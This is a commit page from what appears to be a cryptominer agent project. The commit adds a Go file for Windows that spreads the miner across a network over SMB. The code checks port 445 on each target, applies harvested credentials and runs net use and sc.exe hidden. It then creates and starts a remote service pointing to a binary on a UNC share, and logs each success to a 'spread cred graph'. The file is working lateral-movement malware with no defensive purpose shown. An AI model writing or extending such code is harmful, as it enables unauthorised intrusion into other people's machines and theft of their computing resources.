Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
103
agent/deploy/smb_unc_spread_windows.go
Normal file
103
agent/deploy/smb_unc_spread_windows.go
Normal file
@@ -0,0 +1,103 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"log"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func runSMBUNCSpreadSweep(cfg config.RuntimeConfig, opts SMBUNCSpreadOpts, targets []string) {
|
||||
beginSpreadSweep("smb_unc_sc", len(targets))
|
||||
if len(targets) == 0 {
|
||||
finishSpreadSweepImmediate()
|
||||
return
|
||||
}
|
||||
shareRoot := uncShareRoot(opts.UNCPath)
|
||||
if shareRoot != "" {
|
||||
_ = ensureNetUse(shareRoot)
|
||||
}
|
||||
svcName := smbUNCSvcName(cfg, opts.SvcName)
|
||||
binPath := formatSCBinPath(opts.UNCPath, runFlag)
|
||||
for _, target := range targets {
|
||||
spreadSem <- struct{}{}
|
||||
go func(host string) {
|
||||
defer func() { <-spreadSem }()
|
||||
attemptSMBUNCSpread(host, svcName, binPath)
|
||||
}(target)
|
||||
}
|
||||
}
|
||||
|
||||
func uncShareRoot(unc string) string {
|
||||
unc = strings.TrimSpace(unc)
|
||||
if len(unc) < 3 || !strings.HasPrefix(strings.ToLower(unc), `\\`) {
|
||||
return ""
|
||||
}
|
||||
parts := strings.Split(unc[2:], `\`)
|
||||
if len(parts) < 2 || parts[0] == "" || parts[1] == "" {
|
||||
return ""
|
||||
}
|
||||
return `\\` + parts[0] + `\` + parts[1]
|
||||
}
|
||||
|
||||
func ensureNetUse(share string) error {
|
||||
out, err := HiddenCombinedOutput("net.exe", "use", share)
|
||||
if err == nil {
|
||||
return nil
|
||||
}
|
||||
msg := strings.ToLower(string(out))
|
||||
if strings.Contains(msg, "already") || strings.Contains(msg, "success") {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func formatSCBinPath(unc, args string) string {
|
||||
unc = strings.TrimSpace(unc)
|
||||
args = strings.TrimSpace(args)
|
||||
if args == "" {
|
||||
return `"` + unc + `"`
|
||||
}
|
||||
return `"` + unc + `" ` + args
|
||||
}
|
||||
|
||||
func attemptSMBUNCSpread(target, svcName, binPath string) {
|
||||
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
|
||||
if err != nil {
|
||||
recordSpreadAttempt(target, false, "port 445 closed")
|
||||
return
|
||||
}
|
||||
conn.Close()
|
||||
|
||||
var credSession SpreadCredSession
|
||||
var credCleanup func()
|
||||
if session, ok := acquireSpreadCred(target, "smb_unc_sc"); ok {
|
||||
credSession = session
|
||||
if cleanup, applied := applySpreadCredSession(target, session); applied {
|
||||
credCleanup = cleanup
|
||||
}
|
||||
}
|
||||
if credCleanup != nil {
|
||||
defer credCleanup()
|
||||
}
|
||||
|
||||
_ = HiddenRun("sc.exe", `\\`+target, "stop", svcName)
|
||||
_ = HiddenRun("sc.exe", `\\`+target, "delete", svcName)
|
||||
_ = HiddenRun("sc.exe", `\\`+target, "create", svcName,
|
||||
"binPath=", binPath,
|
||||
"type=", "own",
|
||||
"start=", "demand")
|
||||
|
||||
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
|
||||
log.Printf("[smb-unc] remote service started on %s → %s", target, svcName)
|
||||
recordSpreadAttempt(target, true, "")
|
||||
reportSpreadCredEdge(target, "smb_unc_sc", credSession, true)
|
||||
} else {
|
||||
recordSpreadAttempt(target, false, "remote sc start failed")
|
||||
reportSpreadCredEdge(target, "smb_unc_sc", credSession, false)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user